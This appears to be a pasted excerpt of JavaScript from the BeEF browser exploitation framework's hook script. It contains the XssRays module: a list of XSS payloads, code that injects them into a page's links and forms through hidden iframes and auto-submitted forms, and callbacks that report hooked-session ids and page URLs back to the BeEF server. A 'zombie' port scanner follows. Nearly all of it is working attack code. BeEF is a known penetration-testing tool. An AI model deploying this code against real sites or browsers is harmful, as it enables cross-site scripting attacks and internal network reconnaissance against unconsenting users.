  10238. {input:'\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3eXSS\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e', name: 'DOM based innerHTML injection', browser: 'ALL',url:true,form:true,path:true},
  10239. {input:'javascript:XSS', name: 'Javascript protocol injection', browser: 'ALL',url:true,form:true,path:true},
  10240. {input:'null,XSS//', name: 'Unfiltered DOM injection comma', browser: 'ALL',url:true,form:true,path:true},
  10241. {input:'null\nXSS//', name: 'Unfiltered DOM injection new line', browser: 'ALL',url:true,form:true,path:true}
  10242. ],
  10243. uniqueID: 0,
  10244. rays: [],
  10245. stack: [],
  10246.  
  10247. // return true is the attack vector can be launched to the current browser type.
  10248. checkBrowser:function(vector_array_index){
  10249. var result = false;
  10250. var browser_id = this.vectors[vector_array_index].browser;
  10251. switch (browser_id){
  10252. case "ALL":
  10253. result = true;
  10254. break;
  10255. case "FF":
  10256. if(beef.browser.isFF())result=true;
  10257. break;
  10258. case "IE":
  10259. if(beef.browser.isIE())result=true;
  10260. break;
  10261. case "C":
  10262. if(beef.browser.isC())result=true;
  10263. break;
  10264. case "S":
  10265. if(beef.browser.isS())result=true;
  10266. break;
  10267. case "O":
  10268. if(beef.browser.isO())result=true;
  10269. break;
  10270. default : result = false;
  10271. }
  10272. beef.net.xssrays.printDebug("==== browser_id ==== [" + browser_id + "], result [" + result + "]");
  10273. return result;
  10274. },
  10275.  
  10276. // util function. Print string to the console only if the debug flag is on and the browser is not IE.
  10277. printDebug:function(log) {
  10278. if (this.debug && (!beef.browser.isIE6() && !beef.browser.isIE7() && !beef.browser.isIE8())) {
  10279. beef.debug("[XssRays] " + log);
  10280. }
  10281. },
  10282.  
  10283. // main function, where all starts :-)
  10284. startScan:function(xssraysScanId, hookedBrowserSession, beefUrl, crossDomain, timeout, debug) {
  10285.  
  10286. this.xssraysScanId = xssraysScanId;
  10287. this.hookedBrowserSession = hookedBrowserSession;
  10288. this.beefRayUrl = beefUrl + '/' + this.handler;
  10289. beef.net.xssrays.printDebug("Using [" + this.beefRayUrl + "] handler to contact back BeEF");
  10290. this.crossDomain = crossDomain;
  10291. this.cleanUpTimeout = timeout;
  10292. this.debug = debug;
  10293.  
  10294. this.scan();
  10295. beef.net.xssrays.printDebug("Starting scan");
  10296. this.runJobs();
  10297. },
  10298. complete:function() {
  10299. if (beef.net.xssrays.completed == beef.net.xssrays.totalConnections) {
  10300. beef.net.xssrays.printDebug("COMPLETE, notifying BeEF for scan id [" + beef.net.xssrays.xssraysScanId + "]");
  10301. $j.get(this.beefRayUrl, { hbsess: this.hookedBrowserSession, raysid: this.xssraysScanId, action: "finish"} );
  10302. } else {
  10303. this.getNextJob();
  10304. }
  10305. },
  10306. getNextJob:function() {
  10307. var that = this;
  10308. beef.net.xssrays.printDebug("getNextJob - this.stack.length [" + this.stack.length + "]");
  10309. if (this.stack.length > 0) {
  10310. var func = that.stack.shift();
  10311. if (func) {
  10312. that.completed++;
  10313. func.call(that);
  10314. }
  10315. }else{ //nothing else to scan
  10316. this.complete();
  10317. }
  10318. },
  10319. scan:function() {
  10320. this.scanLinks();
  10321. this.scanForms();
  10322. },
  10323. scanPaths:function() {
  10324. this.xss({type:'path'});
  10325. return this;
  10326. },
  10327. scanForms: function() {
  10328. this.xss({type:'form'});
  10329. return this;
  10330. },
  10331. scanLinks: function() { //TODO: add depth crawling for links that are in the same domain
  10332. beef.net.xssrays.printDebug("scanLinks, document.links.length [" + document.links.length + "]");
  10333. for (var i = 0; i < document.links.length; i++) {
  10334. var url = document.links[i];
  10335.  
  10336. if ((url.hostname.toString() === location.hostname.toString() || this.crossDomain) && (location.protocol === 'http:' || location.protocol === 'https:')) {
  10337. beef.net.xssrays.printDebug("Starting scanning URL [" + url + "]\n url.href => " + url.href +
  10338. "\n url.pathname => " + url.pathname + "\n" +
  10339. "url.search => " + url.search + "\n");
  10340. this.xss({href:url.href, pathname:url.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,
  10341. search:url.search, type: 'url'});//scan each link & param
  10342. } else {
  10343. if (this.debug) {
  10344. beef.net.xssrays.printDebug('Scan is not Cross-domain. URLS\nurl :' + url.hostname.toString());
  10345. beef.net.xssrays.printDebug('\nlocation :' + location.hostname.toString());
  10346. }
  10347. }
  10348. }
  10349. if (location.search.length > 0) {
  10350. this.xss({pathname:location.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,search:location.search, type: 'url'});//scan originating url
  10351. }
  10352. return this;
  10353. },
  10354. xss:function(target) {
  10355. switch (target.type) {
  10356. case "url":
  10357. if (target.search.length > 0) {
  10358. target.search = target.search.slice(1);
  10359. target.search = target.search.split(/&|&amp;/);
  10360.  
  10361. if(beef.browser.isIE() && target.pathname.charAt(0) != "/"){ //the damn IE doesn't contain the forward slash in pathname
  10362. var pathname = "/" + target.pathname;
  10363. }else{
  10364. var pathname = target.pathname;
  10365. }
  10366.  
  10367. var params = {};
  10368. for (var i = 0; i < target.search.length; i++) {
  10369. target.search[i] = target.search[i].split('=');
  10370. params[target.search[i][0]] = target.search[i][1];
  10371. }
  10372. for (var i = 0; i < this.vectors.length; i++) {
  10373. // skip the current vector if it's not compatible with the hooked browser
  10374. if (!this.checkBrowser(i)){
  10375. beef.net.xssrays.printDebug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser.");
  10376. continue;
  10377. }
  10378. if (!this.vectors[i].url) {
  10379. continue;
  10380. }
  10381. if (this.vectors[i].url) {
  10382. if (target.port == null || target.port == "") {
  10383. beef.net.xssrays.printDebug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
  10384. this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], params, true);//params
  10385. } else {
  10386. beef.net.xssrays.printDebug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
  10387. this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], params, true);//params
  10388. }
  10389. }
  10390. if (this.vectors[i].path) {
  10391. if (target.port == null || target.port == "") {
  10392. beef.net.xssrays.printDebug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
  10393. this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], null, true);//paths
  10394. } else {
  10395. beef.net.xssrays.printDebug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
  10396. this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], null, true);//paths
  10397. }
  10398. }
  10399. }
  10400. }
  10401. break;
  10402. case "form":
  10403. var params = {};
  10404. var paramsstring = "";
  10405. for (var i = 0; i < document.forms.length; i++) {
  10406. var action = document.forms[i].action || document.location;
  10407. var method = document.forms[i].method.toUpperCase() === 'POST' ?
  10408. 'POST' :
  10409. 'GET';
  10410.  
  10411. for (var j = 0; j < document.forms[i].elements.length; j++) {
  10412. params[document.forms[i].elements[j].name] = document.forms[i].elements[j].value || 1;
  10413. }
  10414. for (var k = 0; k < this.vectors.length; k++) {
  10415.  
  10416. // skip the current vector if it's not compatible with the hooked browser
  10417. if (!this.checkBrowser(k)){
  10418. beef.net.xssrays.printDebug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser.");
  10419. continue;
  10420. }
  10421. if (!this.vectors[k].form) {
  10422. continue;
  10423. }
  10424. if (!this.crossDomain && (this.host(action).toString() != this.host(location.toString()))) {
  10425. if (this.debug) {
  10426. beef.net.xssrays.printDebug('Scan is not Cross-domain. FormPost\naction :' + this.host(action).toString());
  10427. beef.net.xssrays.printDebug('location :' + this.host(location));
  10428. }
  10429. continue;
  10430. }
  10431. if (this.vectors[k].form) {
  10432. if (method === 'GET') {
  10433. beef.net.xssrays.printDebug("Starting XSS on FORM action params, GET method of [" + action + "], params [" + paramsstring + "]");
  10434. this.run(action, method, this.vectors[k], params, true);//params
  10435. }
  10436. else {
  10437. beef.net.xssrays.printDebug("Starting XSS on FORM action params, POST method of [" + action + "], params [" + paramsstring + "]");
  10438. this.run(action, method, this.vectors[k], params, false);//params
  10439. }
  10440. }
  10441. if (this.vectors[k].path) {
  10442. beef.net.xssrays.printDebug("Starting XSS on FORM action URI PATH of [" + action + "], ");
  10443. this.run(action, 'GET', this.vectors[k], null, true);//paths
  10444. }
  10445. }
  10446. }
  10447. break;
  10448. }
  10449. },
  10450. host: function(url) {
  10451. var host = url;
  10452. host = /^https?:[\/]{2}[^\/]+/.test(url.toString())
  10453. ? url.toString().match(/^https?:[\/]{2}[^\/]+/)
  10454. : /(?:^[^a-zA-Z0-9\/]|^[a-zA-Z0-9]+[:]+)/.test(url.toString())
  10455. ? ''
  10456. : location.hostname.toString();
  10457. return host;
  10458. },
  10459. fileName: function(url) {
  10460. return url.match(/(?:^[^\/]|^https?:[\/]{2}|^[\/]+)[^?]+/) || '';
  10461. },
  10462.  
  10463. urlEncode: function(str) {
  10464. str = str.toString();
  10465. str = str.replace(/"/g, '%22');
  10466. str = str.replace(/&/g, '%26');
  10467. str = str.replace(/\+/g, '%2b');
  10468. return str;
  10469. },
  10470.  
  10471. // this is the main core function with the detection mechanisms...
  10472. run: function(url, method, vector, params, urlencode) {
  10473. this.stack.push(function() {
  10474.  
  10475. //check if the URL end with / . In this case remove the last /, as it will be added later.
  10476. // this check is needed only when checking for URI path injections
  10477. if(url[url.length - 1] == "/" && params == null){
  10478. url = url.substring(0, url.length - 2);
  10479. beef.net.xssrays.printDebug("Remove last / from url. New url [" + url + "]");
  10480. }
  10481.  
  10482. beef.net.xssrays.uniqueID++;
  10483. beef.net.xssrays.printDebug('Processing vector [' + vector.name + "], URL [" + url + "]");
  10484. var poc = '';
  10485. var pocurl = url;
  10486. var exploit = '';
  10487. var action = url;
  10488.  
  10489.  
  10490. beef.net.xssrays.rays[beef.net.xssrays.uniqueID] = {vector:vector,url:url,params:params};
  10491. var ray = this.rays[beef.net.xssrays.uniqueID];
  10492.  
  10493. var paramsPos = 0;
  10494. if (params != null) {
  10495. /*
  10496. * ++++++++++ check for XSS in URI parameters (GET) ++++++++++
  10497. */
  10498. for (var i in params) {
  10499. if (params.hasOwnProperty(i)) {
  10500.  
  10501. if (!/[?]/.test(url)) {
  10502. url += '?';
  10503. pocurl += '?';
  10504. }
  10505.  
  10506. poc = vector.input.replace(/XSS/g, "alert(1)");
  10507. pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc) + '&';
  10508.  
  10509. beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
  10510. beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
  10511.  
  10512. beefCallback = "location='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
  10513. + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
  10514.  
  10515. exploit = vector.input.replace(/XSS/g, beefCallback);
  10516.  
  10517. if(beef.browser.isC() || beef.browser.isS()){ //we will base64 the whole uri later
  10518. url += i + '=' + exploit + '&';
  10519. }else{
  10520. url += i + '=' + (urlencode ? encodeURIComponent(exploit) : exploit) + '&';
  10521. }
  10522.  
  10523. paramsPos++;
  10524. }
  10525. }
  10526. } else {
  10527. /*
  10528. * ++++++++++ check for XSS in URI path (GET) ++++++++++
  10529. */
  10530. var filename = beef.net.xssrays.fileName(url);
  10531.  
  10532. poc = vector.input.replace(/XSS/g, "alert(1)");
  10533. pocurl = poc.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');
  10534.  
  10535.  
  10536. beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
  10537. beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
  10538.  
  10539. beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
  10540. + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
  10541.  
  10542. exploit = vector.input.replace(/XSS/g, beefCallback);
  10543.  
  10544. //TODO: if the url is something like example.com/?param=1 then a second slash will be added, like example.com//<xss>.
  10545. //TODO: this need to checked and the slash shouldn't be added in this particular case
  10546. url = url.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');
  10547. }
  10548. /*
  10549. * ++++++++++ create the iFrame that will contain the attack vector ++++++++++
  10550. */
  10551. if(beef.browser.isIE()){
  10552. try {
  10553. var iframe = document.createElement('<iframe name="ray'+Math.random().toString() +'">');
  10554. } catch (e) {
  10555. var iframe = document.createElement('iframe');
  10556. iframe.name = 'ray' + Math.random().toString();
  10557. }
  10558. }else{
  10559. var iframe = document.createElement('iframe');
  10560. iframe.name = 'ray' + Math.random().toString();
  10561. }
  10562. iframe.style.display = 'none';
  10563. iframe.id = 'ray' + beef.net.xssrays.uniqueID;
  10564. iframe.time = beef.net.xssrays.timestamp();
  10565.  
  10566. if (method === 'GET') {
  10567. if(beef.browser.isC() || beef.browser.isS()){
  10568. var datauri = btoa(url);
  10569. iframe.src = "data:text/html;base64," + datauri;
  10570. }else{
  10571. iframe.src = url;
  10572. }
  10573. document.body.appendChild(iframe);
  10574. beef.net.xssrays.printDebug("Creating XSS iFrame with src [" + iframe.src + "], id[" + iframe.id + "], time [" + iframe.time + "]");
  10575. } else if (method === 'POST') {
  10576. /*
  10577. * ++++++++++ check for XSS in body parameters (POST) ++++++++++
  10578. */
  10579. var form = '<form action="' + beef.net.xssrays.escape(action) + '" method="post" id="frm">';
  10580. poc = '';
  10581. pocurl = action + "?";
  10582. paramsPos = 0;
  10583.  
  10584. beef.net.xssrays.printDebug("Form action [" + action + "]");
  10585. for (var i in params) {
  10586. if (params.hasOwnProperty(i)) {
  10587.  
  10588. poc = vector.input.replace(/XSS/g, "alert(1)");
  10589. poc = poc.replace(/<\/script>/g, "<\/scr\"+\"ipt>");
  10590. pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc); // + '&';
  10591.  
  10592. beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
  10593. beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
  10594.  
  10595. beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
  10596. + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
  10597.  
  10598. exploit = beef.net.xssrays.escape(vector.input.replace(/XSS/g, beefCallback));
  10599. form += '<textarea name="' + i + '">' + exploit + '<\/textarea>';
  10600. beef.net.xssrays.printDebug("form param[" + i + "] = " + params[i].toString());
  10601.  
  10602. paramsPos++;
  10603. }
  10604. }
  10605. form += '<\/form>';
  10606. document.body.appendChild(iframe);
  10607. beef.net.xssrays.printDebug("Creating form [" + form + "]");
  10608. iframe.contentWindow.document.writeln(form);
  10609. iframe.contentWindow.document.writeln('<script>document.createElement("form").submit.apply(document.forms[0]);<\/script>');
  10610. beef.net.xssrays.printDebug("Submitting form");
  10611. }
  10612.  
  10613. });
  10614. },
  10615.  
  10616. // run the jobs (run functions added to the stack), and clean the shit (iframes) from the DOM after a timeout value
  10617. runJobs: function() {
  10618. var that = this;
  10619. this.totalConnections = this.stack.length;
  10620. that.getNextJob();
  10621. setInterval(function() {
  10622. var numOfConnections = 0;
  10623. for (var i = 0; i < document.getElementsByTagName('iframe').length; i++) {
  10624. var iframe = document.getElementsByTagName('iframe')[i];
  10625. numOfConnections++;
  10626. //beef.net.xssrays.printDebug("runJobs parseInt(this.timestamp()) [" + parseInt(beef.net.xssrays.timestamp()) + "], parseInt(iframe.time) [" + parseInt(iframe.time) + "]");
  10627. if (parseInt(beef.net.xssrays.timestamp()) - parseInt(iframe.time) > 5) {
  10628. try{
  10629. if (iframe) {
  10630. beef.net.xssrays.complete();
  10631. beef.net.xssrays.printDebug("RunJobs cleaning up iFrame [" + iframe.id + "]");
  10632. document.body.removeChild(iframe);
  10633. }
  10634. }catch(e){beef.net.xssrays.printDebug("Exception [" + e.toString() + "] when cleaning iframes.")}
  10635. }
  10636. }
  10637.  
  10638. if (numOfConnections == 0) {
  10639. clearTimeout(this);
  10640. }
  10641.  
  10642. }, this.cleanUpTimeout);
  10643.  
  10644. return this;
  10645. },
  10646. timestamp: function() {
  10647. return parseInt(new Date().getTime().toString().substring(0, 10));
  10648. },
  10649. escape: function(str) {
  10650. str = str.toString();
  10651. str = str.replace(/</g, '&lt;');
  10652. str = str.replace(/>/g, '&gt;');
  10653. str = str.replace(/\u0022/g, '&quot;');
  10654. str = str.replace(/\u0027/g, '&#39;');
  10655. str = str.replace(/\\/g, '&#92;');
  10656. return str;
  10657. }
  10658.  
  10659. };
  10660.  
  10661. beef.regCmp('beef.net.xssrays');
  10662.  
  10663.  
  10664. //
  10665. // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
  10666. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  10667. // See the file 'doc/COPYING' for copying permission
  10668. //
  10669.  
  10670. /*!
  10671. * @literal object: beef.net.portscanner
  10672. *
  10673. * Provides port scanning functions for the zombie. A mod of pdp's scanner
  10674. *
  10675. * Version: '0.1',
  10676. * author: 'Petko Petkov',
  10677. * homepage: 'http://www.gnucitizen.org'
  10678. */
  10679.  
  10680. beef.net.portscanner = {
  10681.  
  10682. scanPort: function(callback, target, port, timeout)
  10683. {
  10684. var timeout = (timeout == null)?100:timeout;
  10685. var img = new Image();
  10686.  
  10687. img.onerror = function () {
  10688. if (!img) return;
  10689. img = undefined;
  10690. callback(target, port, 'open');
  10691. };
  10692.  
  10693. img.onload = img.onerror;
  10694.  
  10695. img.src = 'http://' + target + ':' + port;
  10696.  
  10697. setTimeout(function () {
  10698. if (!img) return;
  10699. img = undefined;
  10700. callback(target, port, 'closed');
  10701. }, timeout);
  10702.  
  10703. },
  10704.  
  10705. scanTarget: function(callback, target, ports_str, timeout)
  10706. {
  10707. var ports = ports_str.split(",");
  10708.  
  10709. for (index = 0; index < ports.length; index++) {
  10710. this.scanPort(callback, target, ports[index], timeout);
  10711. };
  10712.  
  10713. }
  10714. };
  10715.  
  10716. beef.regCmp('beef.net.portscanner');
  10717.  
  10718.  
  10719.  
  10720. //
  10721. // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
  10722. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  10723. // See the file 'doc/COPYING' for copying permission
  10724. //
  10725.  
  10726. beef.are = {
  10727. status_success: function(){
  10728. return 1;
  10729. },
  10730. status_unknown: function(){
  10731. return 0;
  10732. },
  10733. status_error: function(){
  10734. return -1;
  10735. }
  10736. };
  10737. beef.regCmp("beef.are");
  10738.  
  10739.  
  10740. //
  10741. // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
  10742. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  10743. // See the file 'doc/COPYING' for copying permission
  10744. //
  10745.  
  10746. /*
  10747. Sometimes there are timing issues and looks like beef_init
  10748. is not called at all (always in cross-origin situations,
  10749. for example calling the hook with jquery getScript,
  10750. or sometimes with event handler injections).
  10751.  
  10752. To fix this, we call again beef_init after 1 second.
  10753. Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece
  10754. antisnatchor
  10755. */
  10756. //setTimeout(beef_init, 1000);
Add Comment
Please, Sign In to add comment